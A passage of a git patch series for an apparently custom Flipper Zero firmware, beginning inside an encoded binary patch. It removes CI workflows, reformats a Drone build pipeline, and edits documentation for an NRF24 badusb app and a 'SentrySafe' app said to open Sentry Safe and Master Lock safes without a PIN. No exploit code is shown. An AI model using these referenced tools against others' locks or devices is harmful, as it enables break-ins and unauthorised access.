zz=+-XmFZmWRWZ)el|jRR{nQrY@}(AeBQLU1LheKJ>WkDvhJ+R6HnUD9T{d?i56nCN zsX&Z6Vsi~6r76nDiifg z)A$X!nHUuGbD55?Ghrh57SAG_k9^HkRBHiAKwJDv#^PS-<@iJlX~fiGEg7@ojp_C} zScgMhJw5OC6FBcL?IGGd*BIUL2X9~^M=t5HahPO2ssTcxC=$o|7Bf!RbyzoxO=Zbl z_IKq(#_N$`C>7T;1bKGkW#y8#cyD}MK98-kX%+!O%g!)2RyevLT-y-MaSv=t%uJtW ze1KTZl~SJwDxw><`D{bh;B^@z#XQBn<2ALq+{tcT~ev#aGKnrE<@ zq`r@Ackv!G!GjV0hJnax8Ioyq!dyqXR;R?#7z!qkUoj2e2ku`dyRE?brQxSdD~$r- zySrOD77F+KhA-@ke#GxBTU^5&lujJPsTW<)R?j4?<bX8I4s9+T!>fblo{m2%l+;m{bc!E_A>W(@ zirPttqYd=P<9H)^R20Mhk{KS~NMcx+{{3|xAHXIjH78|7tn>0x&Q@4AO{v3#zL3NA z?C#_S`>7FyHeQ`4ZwUo9r?{?oi1@Do?B=YkPp3h%M9s(M(*C5J8l!c&M3Q_TFNx(yZ)Ffl`I3HpHr2m>r2Ly_AgUZExEj z5Jk!)@1SkTbegt)3+eN!6;W)pFu=1w2=6%#+S<=ty)zyl%@GM3Y z5I9_@KjCRVLhZ}M>Y>ZL=~>Ho+t*!dw%}^*>1-cT!3gAAenZRHU>IKzOc0krKGWAq zuJq@S36%O)sYBU1uVGQ?M@ZYi;ttA1L#3!Q=Kr`ttLYPYW?!+vgOC@`dBN=1%s z0p(-8T=2t0hwzN)HZzA}^Ci$}wO3M&PDlHrsG||Dj}$ekWjk4eC2epnCKDgAvc{aN z$+-0JXHnnFlH-kxUE5`jJfyVBYV-Ne93MO*r5Q{c4<&Qd>0ZZ5%%LO%VzH%TsLjP4 z2E%^kJUvFN!GxDg@OD=9&W@S0ei{biSZWxs?BC$())*`Y;C9}3kvNaDP9CF&w8X_1 zkb}c$Q#K^1J1a~SS(Xv&IkEja6oa?F!$*CU{7Xlq5Vfj5ll8~(vo)f%Do+6P z-IsqLaWKQsI6#e#t={#Po1f*@wtWw3+lN0vLLpW|O_Z_37unAPU`y9W>>Ux4gO_>; zIi=J-V-2J+&1z9ptPEhJr0mHzLQ(=oAGMm#Z54!oTx3?l4?;6nlB$xjz9T0snk419 zuHRmiS&TWXU8C^K(15Td^i>?GHlTTZ z571^d{-5&NWJJ)=V0kaod9as_Uj3=fUb{#uby!vH}sqKvE)mE}$#qskw^EHlaOnJDsRXKuH&1 zIh~|`^%?^XR1;Ib9cs>OQ|E97hirxZ8p-3iKmoRR2m&@4!@6kkJ-fu=m#7&D!$kQjy)=07G z=Gz42({m-K(t3Nil@iX%*SF)R?3Uc^}trF>p9h*MLF(6(jK9fXu)k_4&im zY&>pM3h9soE#c#uAd`6VZ&kf#4vXYiZyK{9UVK46d(HSqKcm)DOfgtoh>WGWS+?KT z(mg4`%jbP@p3^82om;CP%N8>8eS(yP!=hpJ&Z%@b~4EuH(zmDqWi(!^e4+fP+@`}e&f zK9!T=i;u{xik{s$kqwXzbD7|uf&A-&|5Nw>FVl6qt31(Q`RqwU1GNz}8EoA})a{1r z*>al#8noF>0VSKkz!cE)o=|jXkPL9oi8<2WI=l)l3r zrEl^lh9l+Dc}ivOfToj@kdoXRr%rQol{Za9gdu}`K6OtX%@5J`_ML}j%ZY&q--f+Eqm|pZG^LCu!wG-j_kAg$4a9mT8x-R>uk_A#-`KhzG_EoyTNi!K| zvlQ?A9Ay}w{4!0)Hge}49rf;7V7av?iT%-JYLYd+O@cmt(aTc+%4VWcB%1`F{BNKlwgeSEB zcat0kXB;ONztNARK^2)CKIYcne?`@pSio7Fc}kvDzqB^`YbUu}00JuHeUMHM`oHf8 zJ~($=HN$?P^KbP_vO2xC9^h?mP! zB9rC(3P}QdVaJ0H!K#pvS;oT;;i?6m^}*PVd3;3yuU|Cnac%L%V^hy%Fwpp9iBhEh z1K$3HM4y&CWD}=m*w^0PIKp2)l$B!VznZv7J3bdx@v!?%F!gayen4Q9AesCYMKbhA zn>#fl%&C?$jWgzuYh~|o{7%+%y-d(NE`|tRe-%o1ynQTR_=eH8+*G^0Qc!2DQY2SL zgP*c!t~62P=Gp*?L6+pc9pC8e}TK}Ul{$bu~}bM z446U{F2VJ{7w7@vmQ%+-M7k?3P-^?5!oive?_b%#GFxr}Tb|(4v~)dSZaF)6)_vso zo)n~Q`bHVjKN?fF@Z$Q(-bxV$dUQb$l7OH#fRXEetMML_gaDT>Nb{|&Cbo*p3qEoA zr@8QR5AA{bZf*o4M{olKOh@``t7P-mWfm*3wpR`GdM%EeyyfQj=TOGPn>nJEj|&n@ z1L5yM3GwUNwAd#a?HB9p9+lKaq-xu}A@JylxK;^0D7IIhcLmcyz-bWpr|kjN^(&)C z_80@Ti1Fmt-CRNhuaxg&;8iLcr z=4~3AIJXNlk=&=en}j^?ur?GhmihMRB~-q60C`DPJ+9Y;jpv##lZW`bq~je82Rb*) z#)r(- z1ooZh0rla!@04%Ak!f&WdnF#FefKtUdS~b|9x+(9mAUnfVW5pDU$0$CJ!yU`ym@D* z8&F((ZF=DtwsM-mpuU)O(4M^pu>=a+d%WLXphd`Bo6Ah}T|}hN9}#{l3B-0#ht8b4@LI(3PGhCxB};StB_BJ``hd z*iv4%_-*sA`{1Y`sKR(VPkOcjl=Dv#CHssZ|&+$qOM?}08h&V@^6}SY>m#| z#js8ZQ#g%4y_=(KbRGu!>yYqa4A&luqGc$6c@_hDgJ4MP9SWEG0tc-D9eWKQ+d0f# zD{X4t-`8s}zi_{*wo=?TZ7qMptlB!s*`cJ4kX{r+gfnIOUV10cxZKlTZTNVd>YZU^ zWu9v`rnN>wK?JSexyy^}95tk>2lMqOO2b;;FWz;Malj_NdInA*q?bh1;(h{w2Z3rx zaK7x+Hcv9$^gUopbNqW)?Y|yB$J-wyb$ra{$6?`nqn?Z*VV?dsHIK%hEpw&twOd!R z6pTF$tAYmRiB*?7+09c>stA?$xN#v6*VVn|Ct_0Pz+-XK?IR93^eD6cManBw`IS>!^D+s|Ka# zHv-j|We(8SO6*|HV}tf-SoCgf+Inw4V3%%zk?El}K>!Y@#g;n_jBd8{`Ag8uen8)? z%5tzn9ucJR^{`chnC169kg1+%%ZbM0<7vl#j-__MdDM!_YUaX|2iq4J`l6a#Sz&mW zo8uv)Dc=y41`$9Qi842nAhX>Mi38H^synCa^vi{5X1Rv9^Fcj?xH$ePAN>9+mCVrb2#>;M;in#d|x>{U732*X(b5XSH#dUVwl&Ph!w%@JWRWQDd`_1 zaIly-c4Qy5b{nnH*AIM0t7LnQBAg~-qgab5G)A?i0tOsxi2JWi4CfH~un1qrjEZT6 z%^4+Vvs0}EjAVv*91aa!dqA8HaQWuMSmr!}mB_yGMP)o_MF<Jmb}j0Z+*R|wcQnIKPOjKC+j2d zUJFpem9j0n(HUF6Pn#krn|Fz{rJ$S>wv||vV%#_zL2e;7t3%sW=2s! z+DvABvuxTZGUs&V^Z*_zy%(TRyWSMPD71rpEZo1&G51anm-#0 zG&%oS;9I2dO{ z4WU?9hqH(zerz;jskS$&95Tyz1DlZkAD=s7;u8J=5(w3*#v)zy;f9Q!f`%! zTwd~7eFgugO3nVC`!8j5!46^Y@Z8TLsl;UF&Nh+9p10J=tm0o@;!{(l9*e{bFJ zcOGdL=}G94-$;WM*CLVTm1QGIoN4zLG&nUrr|Lno4i4X=Bd+Nm+VvM-#N)>YCLDUv z*IHlXVfzvai2CELfr`FsT!+S4_LE>{Hr*^fDuR_8pgdIo;`)UzQG>QJ@sN6sZ{Vgb zzL>SphsWBx{tDJ7_8u~tTuH1yc{lY?Oq1n2bX$ZeYgQQFFd*oDP>IKxMk^ zqS;ir*4y82@kvy?0LcZWm!G^nUZWOw$mC#8K3HMMRIKstB(f$A#0?C4h(fO@ImR)!z%m3CsI zh_W`?ZR)WZsXXnS^0my`BycU!)e~Am5B9|$*3He0zo~vS&`dDs%fsw2O*becAt&XK ze37l$K?@ILu@2zKa@jO}^|^H$Lb%53*VxQ(i-V*{>&_T;E+4qpUQA;5stg(kMDm>o zhQnmFYd%imeignt1Qf3P4DxS2Z_T#2?oWODCCAbtUI92Uk*ua~KII?SG#l31wuctC z%sgVAG?cO~8H#C!+eyVxU!w_H)c5JEj(r*>IXZvopxtu{a6$zx#Ec$tJ#$244xHKS z#GlVLs5RRD^tzAWr>yT~uC{qrf;BdFs-~i3#7Zc-wb|Eq0=ibZCBSbVmfc}XV0o=A zA)^3X8m)SYKQC2$4Y4x+I(x>%lBv)^`T3d{@AyOPdtyBgs|y&r?(FO{n0WRojr6oc z*O_Ml@HwuPtDI-XgD^>t;`yQ72%3H`CN_;)+_0wb&I%14kjy_r zrm~MJlsr~TbVjPdl9Jovo%MfEfRTX$j$;M=-^Kmc6n|*Gm$7wZMmN8kg-_;(3b%P) zVGPx^K9vrS1)5(D11@Ti$rvEpGol20nH+hpffX(2P>lNi4uqIDvSpsnLo_%t z)*Pq`axN;_Ay6}i2WW{7$o8uQ7<1U^1hi-7-Nvs28c^m@9dGu9jVH-tbEjj?rn(5- zM)|v`H@EqcILA!H0i#Qk9WWCtG2_>mVYBnl_6xl*H&=7sPPW5-3cPDG1UfyAEl!+E zI{N+PXMi7{b^V~CgZR&8^fLF$EvTV|ER%w#a(0f&#Ms0vp>Bf<9Nrisw#SbYfd9(z z-30ON-d#% zW671CXT4p*#WwxUd84w$e|`G~Y@9!IW~;J&LYHaEe3>koe1d6A9VHWg z9>r2o;81}@MxDFMez6?TEkMiB$AWQDaJ{^LTii$$$hn=(MU!F#06|n@W&jlR;^f;I z9l?KZ;LS4uP|l<=-H@9qvxy^BMpXjL(eHz7mH_`?q77ozJlQJKl&R@pwciIy5*rD2 ztmd-$TG?*o>XXcU-9tXn>rC}94K}a5$9lGR7C5cm0;6s58Pn9J?4`9JeX0K$TsIZa za5KExUdC;Ip>Q3vW}nX2?trtXg`FAyL?OFA{1oVRJF7II4ISn=wNvOtvP&-$yB=xr zNPk_Ip)&uBUqfz&3i?_0QU6*u84%R_6vQo;x)sSL&Y_m=p!$<2!j*u2j z&BPQ>pMq^o?x3|nTx7w~REY(175cGbdUSrj$oCHRo#6dfaC|Njhm}JGN(JFys`D$& z?j+xu>9>G{&9ewJ^Rfnwo3`~(G6j~>v+Zvc`p$yUqtFVo6)*5nZF0Mzd@*A=?^obP zpgFcyt?f&H`1Q<0RUFBhtkPdIz^qSXJs9;OJ=TDsyDN2K)}nRdYYr+59mFp9Gv=T* zk!3@{2TxDe0Q&djb6~PSw3*KrSwqXzh@Cw1Tt>Nr+r5wD2b_<%`b`^5^Ip&u$+mHc zEM0H`5P=$s)2D9u5jgJMku(S3*%%m!ejK=mflsN_fGGe{h(JNe$;1CKwkqAF8jao- z`b3Ri93YT4uS-1+h+aYQM~}_eS@5_YymBp*>)1B9;8HdoF+0Iz(^K_&>Q!r-(-di= z4v688HK`Qy(=cB^h-v!UcP=Eg0yyl&ejxlteEgdWopV2yB^0>)7s+m6o=W!{O%~nO zXBu?!`@PqHr7ozoN+P=^IjS5UMm|}TVB;Pj;uv6~nQF_KADYAyIrph7_q6IFK$FU0|M)Hds z5E$2_kjd&*I~BN$j4SRq_77<)J$ckr^mMiAdak@jsxQZLI<+E5)r#xZa^~ zLT{-_go7DeP`9ydKonyJ+U%ljI+BpLt%nfG3<}qJ2y~W;IQPEZ6BV zMD3TxRKY1opFJ!U$v7$=)lRH+h+Qv%YivKBkBf9TyF8{Ygf**bWMsgy=?C0jau-8c zWC7pd{_eevG(p|yksJsZS!@tS@f(_(rx(L=T1=Z=rZr7{99?DWgIM=s4jfByYzdg< zc}ZQJ>2j#*tt}DN)QfnGG61kSewgB8mE>ZM0Kggh?n_GJiX#=Bv(ixi(rBUe z%zLAJ8HVGTgM=m9nq>O#=00@DpE+2n$&S#|k!r@bNn^W_0q-zS@%kY7B=C>s!3dgy z+F#ogp!bs0St8OvtFd=l4TNoy&m8ZDh}m;5`S|?^AD)j?0oU@__CTlfrQ9yb42kjA zH<62S$25Y{wLGl`!>V%=g#+76v<}|2w4Y@yifLBx3eG`w1a^-{n7>^ZzounIe09 ztY_rITECXpbdI;1YXa8`D8zC3A1;Rf&Pi~>!{0;1mON@NPsr}PA}4pbh2aAbEFhiN zrG3#o5`_Bt#*9(-q;eyk7MB<=0GrkCD&YW@yk8 zvQcAIvzG3N*tes~SKx7E9-GWk`qSQr5W(;YvKf~U*w5#9+ZNpFO4DlpN>qEA%_#7T01QYkHL&-;)o&|** z^`lwx^J!JAt{s#Akd4DlONEj(dR;YnM! zTR5Xm9zxjJPkur76#xAG2MnDMD$@Mr_xS%C0EK+1Tm9vid02dOAnkSeM3D> $GITHUB_ENV - echo "DIST_SUFFIX=${SUFFIX}" >> $GITHUB_ENV - echo "::set-output name=artifacts-path::${BRANCH_OR_TAG}" - echo "::set-output name=suffix::${SUFFIX}" - echo "::set-output name=short-hash::${SHA}" - echo "::set-output name=default-target::${DEFAULT_TARGET}" - - - name: 'Bundle scripts' - if: ${{ !github.event.pull_request.head.repo.fork }} - run: | - tar czpf artifacts/flipper-z-any-scripts-${{steps.names.outputs.suffix}}.tgz scripts - - - name: 'Build the firmware in docker' - uses: ./.github/actions/docker - with: - run: | - set -e - for TARGET in ${TARGETS} - do - ./fbt TARGET_HW=`echo ${TARGET} | sed 's/f//'` --with-updater updater_package ${{ startsWith(github.ref, 'refs/tags') && 'DEBUG=0 COMPACT=1' || '' }} - done - - - name: 'Move upload files' - if: ${{ !github.event.pull_request.head.repo.fork }} - uses: ./.github/actions/docker - with: - run: | - set -e - for TARGET in ${TARGETS} - do - mv dist/${TARGET}-*/* artifacts/ - done - - - name: 'Bundle self-update package' - if: ${{ !github.event.pull_request.head.repo.fork }} - uses: ./.github/actions/docker - with: - run: | - set -e - for UPDATEBUNDLE in artifacts/*/ - do - BUNDLE_NAME=`echo $UPDATEBUNDLE | cut -d'/' -f2` - echo Packaging ${BUNDLE_NAME} - tar czpf artifacts/flipper-z-${BUNDLE_NAME}.tgz -C artifacts ${BUNDLE_NAME} - rm -rf artifacts/${BUNDLE_NAME} - done - - - name: 'Bundle resources' - if: ${{ !github.event.pull_request.head.repo.fork }} - run: | - tar czpf artifacts/flipper-z-any-resources-${{steps.names.outputs.suffix}}.tgz -C assets resources - - - name: 'Bundle core2 firmware' - if: ${{ !github.event.pull_request.head.repo.fork }} - uses: ./.github/actions/docker - with: - run: | - ./fbt copro_dist - tar czpf artifacts/flipper-z-any-core2_firmware-${{steps.names.outputs.suffix}}.tgz -C assets core2_firmware - - - name: 'Upload artifacts to update server' - if: ${{ !github.event.pull_request.head.repo.fork }} - uses: burnett01/rsync-deployments@5.1 - with: - switches: -avzP --delete --mkpath - path: artifacts/ - remote_path: "${{ secrets.RSYNC_DEPLOY_BASE_PATH }}${{steps.names.outputs.artifacts-path}}/" - remote_host: ${{ secrets.RSYNC_DEPLOY_HOST }} - remote_port: ${{ secrets.RSYNC_DEPLOY_PORT }} - remote_user: ${{ secrets.RSYNC_DEPLOY_USER }} - remote_key: ${{ secrets.RSYNC_DEPLOY_KEY }} - - - name: 'Trigger update server reindex' - if: ${{ !github.event.pull_request.head.repo.fork }} - uses: wei/curl@master - with: - args: -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }} - - - name: 'Find Previous Comment' - if: ${{ !github.event.pull_request.head.repo.fork && github.event.pull_request }} - uses: peter-evans/find-comment@v1 - id: fc - with: - issue-number: ${{ github.event.pull_request.number }} - comment-author: 'github-actions[bot]' - body-includes: 'Compiled firmware for commit' - - - name: 'Create or update comment' - if: ${{ !github.event.pull_request.head.repo.fork && github.event.pull_request}} - uses: peter-evans/create-or-update-comment@v1 - with: - comment-id: ${{ steps.fc.outputs.comment-id }} - issue-number: ${{ github.event.pull_request.number }} - body: | - **Compiled firmware for commit `${{steps.names.outputs.short-hash}}`:** - - [📦 Update package](https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-update-${{steps.names.outputs.suffix}}.tgz) - - [📥 DFU file](https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-full-${{steps.names.outputs.suffix}}.dfu) - - [☁️ Web updater](https://my.flipp.dev/?url=https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-update-${{steps.names.outputs.suffix}}.tgz&channel=${{steps.names.outputs.artifacts-path}}&version=${{steps.names.outputs.short-hash}}) - edit-mode: replace - - compact: - if: ${{ !startsWith(github.ref, 'refs/tags') }} - runs-on: [self-hosted,FlipperZero] - steps: - - name: 'Cleanup workspace' - uses: AutoModality/action-clean@v1 - - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ] - then - git submodule status \ - || git checkout `git rev-list --max-parents=0 HEAD | tail -n 1` - fi - - - name: 'Checkout code' - uses: actions/checkout@v2 - with: - fetch-depth: 0 - submodules: true - ref: ${{ github.event.pull_request.head.sha }} - - - name: 'Build docker image' - uses: ./.github/actions/docker - - - name: 'Generate suffix and folder name' - id: names - run: | - REF=${{ github.ref }} - if [[ ${{ github.event_name }} == 'pull_request' ]]; then - REF=${{ github.head_ref }} - fi - BRANCH_OR_TAG=${REF#refs/*/} - SHA=$(git rev-parse --short HEAD) - - if [[ "${{ github.ref }}" == "refs/tags/"* ]]; then - SUFFIX=${BRANCH_OR_TAG//\//_} - else - SUFFIX=${BRANCH_OR_TAG//\//_}-$(date +'%d%m%Y')-${SHA} - fi - - echo "WORKFLOW_BRANCH_OR_TAG=${BRANCH_OR_TAG}" >> $GITHUB_ENV - echo "DIST_SUFFIX=${SUFFIX}" >> $GITHUB_ENV - - - name: 'Build the firmware in docker' - uses: ./.github/actions/docker - with: - run: | - set -e - for TARGET in ${TARGETS} - do - ./fbt TARGET_HW=`echo ${TARGET} | sed 's/f//'` --with-updater updater_package DEBUG=0 COMPACT=1 - done diff --git a/.github/workflows/build_toolchain.yml b/.github/workflows/build_toolchain.yml deleted file mode 100644 index 452dfbee6..000000000 --- a/.github/workflows/build_toolchain.yml +++ /dev/null @@ -1,46 +0,0 @@ -name: 'Build toolchain Docker image' - -on: - push: - branches: - - dev - tags: - - '*' - -jobs: - build: - runs-on: ubuntu-latest - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 - - name: Docker meta - id: meta - uses: docker/metadata-action@v3 - with: - images: flipperdevices/flipperzero-toolchain - flavor: latest=${{ startsWith(github.ref, 'refs/tags/') && !endsWith(github.ref, 'rc')}} - tags: | - type=ref,event=branch - type=ref,event=tag - - name: Set up QEMU - uses: docker/setup-qemu-action@v1 - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 - - name: Login to DockerHub - uses: docker/login-action@v1 - with: - username: ${{ secrets.DOCKERHUB_USERNAME }} - password: ${{ secrets.DOCKERHUB_TOKEN }} - - name: Build and push - id: docker_build - uses: docker/build-push-action@v2 - with: - context: docker/ - push: true - tags: ${{ steps.meta.outputs.tags }} - labels: ${{ steps.meta.outputs.labels }} - platforms: linux/amd64,linux/arm64 - cache-from: type=registry,ref=flipperdevices/flipperzero-toolchain:buildcache - cache-to: type=registry,ref=flipperdevices/flipperzero-toolchain:buildcache,mode=max diff --git a/.github/workflows/check_submodules.yml b/.github/workflows/check_submodules.yml deleted file mode 100644 index b02f9a8d0..000000000 --- a/.github/workflows/check_submodules.yml +++ /dev/null @@ -1,17 +0,0 @@ -name: 'Check submodules' - -on: - pull_request: - -jobs: - protobuf: - runs-on: ubuntu-latest - steps: - - name: 'Checkout code' - uses: actions/checkout@v2 - - name: 'Check submodule commit branch' - uses: jtmullen/submodule-branch-check-action@v1 - with: - path: assets/protobuf - branch: dev - fetch_depth: 50 diff --git a/.github/workflows/lint_c.yml b/.github/workflows/lint_c.yml deleted file mode 100644 index f834586d3..000000000 --- a/.github/workflows/lint_c.yml +++ /dev/null @@ -1,62 +0,0 @@ -name: 'Lint C/C++ with clang-format' - -on: - push: - branches: - - dev - - "release*" - tags: - - '*' - pull_request: - -env: - TARGETS: f7 - -jobs: - lint_c_cpp: - runs-on: [self-hosted,FlipperZero] - steps: - - name: 'Cleanup workspace' - uses: AutoModality/action-clean@v1 - - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ] - then - git submodule status \ - || git checkout `git rev-list --max-parents=0 HEAD | tail -n 1` - fi - - - name: 'Checkout code' - uses: actions/checkout@v2 - with: - fetch-depth: 0 - submodules: true - - - name: 'Docker cache' - uses: satackey/action-docker-layer-caching@v0.0.11 - continue-on-error: true - with: - key: docker-cache-${{ hashFiles('docker/**') }}-{hash} - restore-keys: docker-cache-${{ hashFiles('docker/**') }}- - - - name: 'Build docker image' - uses: ./.github/actions/docker - - - name: 'Check code formatting' - id: syntax_check - uses: ./.github/actions/docker - with: - run: SET_GH_OUTPUT=1 ./fbt lint - - - name: Report code formatting errors - if: failure() && steps.syntax_check.outputs.errors && github.event.pull_request - uses: peter-evans/create-or-update-comment@v1 - with: - issue-number: ${{ github.event.pull_request.number }} - body: | - Please fix following code formatting errors: - ``` - ${{ steps.syntax_check.outputs.errors }} - ``` - You might want to run `docker compose exec dev make format` for an auto-fix. diff --git a/.github/workflows/lint_python.yml b/.github/workflows/lint_python.yml deleted file mode 100644 index e665378b1..000000000 --- a/.github/workflows/lint_python.yml +++ /dev/null @@ -1,36 +0,0 @@ -name: 'Python Lint' - -on: - push: - branches: - - dev - - "release*" - tags: - - '*' - pull_request: - -jobs: - lint_python: - runs-on: ubuntu-latest - steps: - - name: 'Cleanup workspace' - uses: AutoModality/action-clean@v1 - - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ] - then - git submodule status \ - || git checkout `git rev-list --max-parents=0 HEAD | tail -n 1` - fi - - - name: 'Checkout code' - uses: actions/checkout@v2 - with: - fetch-depth: 0 - - - name: 'Setup python' - uses: actions/setup-python@v2 - - - name: 'Check python code with black' - uses: psf/black@20.8b1 diff --git a/.github/workflows/reindex.yml b/.github/workflows/reindex.yml deleted file mode 100644 index 78f9cbead..000000000 --- a/.github/workflows/reindex.yml +++ /dev/null @@ -1,15 +0,0 @@ -name: 'Reindex' - -on: - release: - types: [prereleased,released] - -jobs: - reindex: - name: 'Reindex updates' - runs-on: [self-hosted,FlipperZero] - steps: - - name: Trigger reindex - uses: wei/curl@master - with: - args: -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }} diff --git a/documentation/NRF24.md b/documentation/NRF24.md index d3c617901..9d6e7c60a 100644 --- a/documentation/NRF24.md +++ b/documentation/NRF24.md @@ -11,6 +11,9 @@ An [NRF24](https://www.sparkfun.com/datasheets/Components/SMD/nRF24L01Pluss_Prel - Select Address and open badusb file - Done +# Demo (YouTube) +[![YouTube](https://img.youtube.com/vi/C5hbyAjuU4k/0.jpg)](https://www.youtube.com/watch?v=C5hbyAjuU4k) + ## Warning These apps are for **educational purposes** only. Please use this code responsibly and only use these apps on your own equipment. diff --git a/documentation/SentrySafe.md b/documentation/SentrySafe.md index ba90186f2..7c55ef22d 100644 --- a/documentation/SentrySafe.md +++ b/documentation/SentrySafe.md @@ -4,7 +4,7 @@ Flipper zero exploiting vulnerability to open any Sentry Safe and Master Lock electronic safe without any pin code. -[Vulnerability described here](https://github.com/H4ckd4ddy/bypass-sentry-safe) +[Demo and Vulnerability described here](https://github.com/H4ckd4ddy/bypass-sentry-safe) ### Usage From bf088dd585e376b54652de13ae06e152f1a478f8 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 29 Jul 2022 19:52:37 +0300 Subject: [PATCH 416/461] update readme --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 2564d2e78..de66f4b28 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -43,7 +43,7 @@ See changelog in releases for latest updates! - CAME Atomo - FAAC SLH (Spa) - BFT Mitto -- Keeloq (+ proper manufacturer codes selection) +- Keeloq (+ proper manufacturer codes selection) [Not ALL systems supported yet!] - Nice Flor S - SecPlus v1 & v2 - Star Line From aa757eeb4938fba7153eb473ea1f194fa47ed41f Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 29 Jul 2022 21:18:06 +0300 Subject: [PATCH 417/461] unirf update allow selecting custom map files --- .drone.yml | 186 +++++++------- CHANGELOG.md | 1 + applications/unirfremix/unirfremix_app.c | 236 +++--------------- assets/resources/Manifest | 5 +- .../unirf_map_example.txt} | 2 - documentation/UniRFRemix.md | 28 +-- 6 files changed, 137 insertions(+), 321 deletions(-) rename assets/resources/{subghz/assets/universal_rf_map => unirf/unirf_map_example.txt} (76%) diff --git a/.drone.yml b/.drone.yml index 39c265d5f..2904d35b1 100644 --- a/.drone.yml +++ b/.drone.yml @@ -1,114 +1,116 @@ kind: pipeline type: docker -name: 'Build firmware' +name: "Build firmware" steps: -- name: 'Update submodules' - image: alpine/git - commands: - - git submodule sync - - git -c protocol.version=2 submodule update --init --force --recursive - - git submodule foreach git config --local gc.auto 0 - - git log -1 --format='%H' + - name: "Update submodules" + image: alpine/git + commands: + - git submodule sync + - git -c protocol.version=2 submodule update --init --force --recursive + - git submodule foreach git config --local gc.auto 0 + - git log -1 --format='%H' -- name: 'Build default fw' - image: hfdj/fztools - pull: never - commands: - - export DIST_SUFFIX=${DRONE_TAG} - - export WORKFLOW_BRANCH_OR_TAG=dev-cfw - - ./fbt --with-updater COMPACT=1 DEBUG=0 updater_package - - mkdir artifacts-default - - mv dist/f7-C/* artifacts-default/ - - ls -laS artifacts-default - - ls -laS artifacts-default/f7-update-${DRONE_TAG} - environment: - FBT_TOOLS_CUSTOM_LINK: - from_secret: fbt_link + - name: "Build default fw" + image: hfdj/fztools + pull: never + commands: + - export DIST_SUFFIX=${DRONE_TAG} + - export WORKFLOW_BRANCH_OR_TAG=dev-cfw + - ./fbt --with-updater COMPACT=1 DEBUG=0 updater_package + - mkdir artifacts-default + - mv dist/f7-C/* artifacts-default/ + - ls -laS artifacts-default + - ls -laS artifacts-default/f7-update-${DRONE_TAG} + environment: + FBT_TOOLS_CUSTOM_LINK: + from_secret: fbt_link -- name: 'Bundle resources' - image: kramos/alpine-zip - commands: - - mkdir sd-card - - mkdir -p sd-card/subghz/assets - - mkdir -p sd-card/nfc/assets - - mkdir -p sd-card/infrared/assets - - cp assets/resources/subghz/assets/universal_rf_map sd-card/subghz/assets/universal_rf_map - - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user - - cp assets/resources/subghz/assets/keeloq_mfcodes sd-card/subghz/assets/keeloq_mfcodes - - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc - - cp assets/resources/infrared/assets/tv.ir sd-card/infrared/assets/tv.ir - - cp assets/resources/Manifest sd-card/Manifest - - zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card - - rm -rf sd-card - - ls -laS artifacts-default + - name: "Bundle resources" + image: kramos/alpine-zip + commands: + - mkdir sd-card + - mkdir -p sd-card/subghz/assets + - mkdir -p sd-card/nfc/assets + - mkdir -p sd-card/infrared/assets + - mkdir -p sd-card/unirf + - cp assets/resources/subghz/assets/dangerous_settings sd-card/subghz/assets/dangerous_settings + - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user + - cp assets/resources/subghz/assets/keeloq_mfcodes sd-card/subghz/assets/keeloq_mfcodes + - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc + - cp assets/resources/infrared/assets/tv.ir sd-card/infrared/assets/tv.ir + - cp assets/resources/unirf/unirf_map_example.txt sd-card/unirf/unirf_map_example.txt + - cp assets/resources/Manifest sd-card/Manifest + - zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card + - rm -rf sd-card + - ls -laS artifacts-default -- name: 'Bundle self-update packages' - image: kramos/alpine-zip - commands: - - tar czpf artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz -C artifacts-default f7-update-${DRONE_TAG} - - zip -r artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip artifacts-default/f7-update-${DRONE_TAG} - - rm -rf artifacts-default/f7-update-${DRONE_TAG} - - ls -laS artifacts-default + - name: "Bundle self-update packages" + image: kramos/alpine-zip + commands: + - tar czpf artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz -C artifacts-default f7-update-${DRONE_TAG} + - zip -r artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip artifacts-default/f7-update-${DRONE_TAG} + - rm -rf artifacts-default/f7-update-${DRONE_TAG} + - ls -laS artifacts-default -- name: 'Do Github release' - image: ddplugins/github-release - pull: never - settings: - github_url: https://github.com - repo_owner: - from_secret: github_repoowner - api_key: - from_secret: github_apikey - files: - - artifacts-default/*.tgz - - artifacts-default/*.zip - - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu - title: ${DRONE_TAG} - note: CHANGELOG.md - checksum: - - md5 - - sha1 - - crc32 + - name: "Do Github release" + image: ddplugins/github-release + pull: never + settings: + github_url: https://github.com + repo_owner: + from_secret: github_repoowner + api_key: + from_secret: github_apikey + files: + - artifacts-default/*.tgz + - artifacts-default/*.zip + - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu + title: ${DRONE_TAG} + note: CHANGELOG.md + checksum: + - md5 + - sha1 + - crc32 -- name: 'Send files to 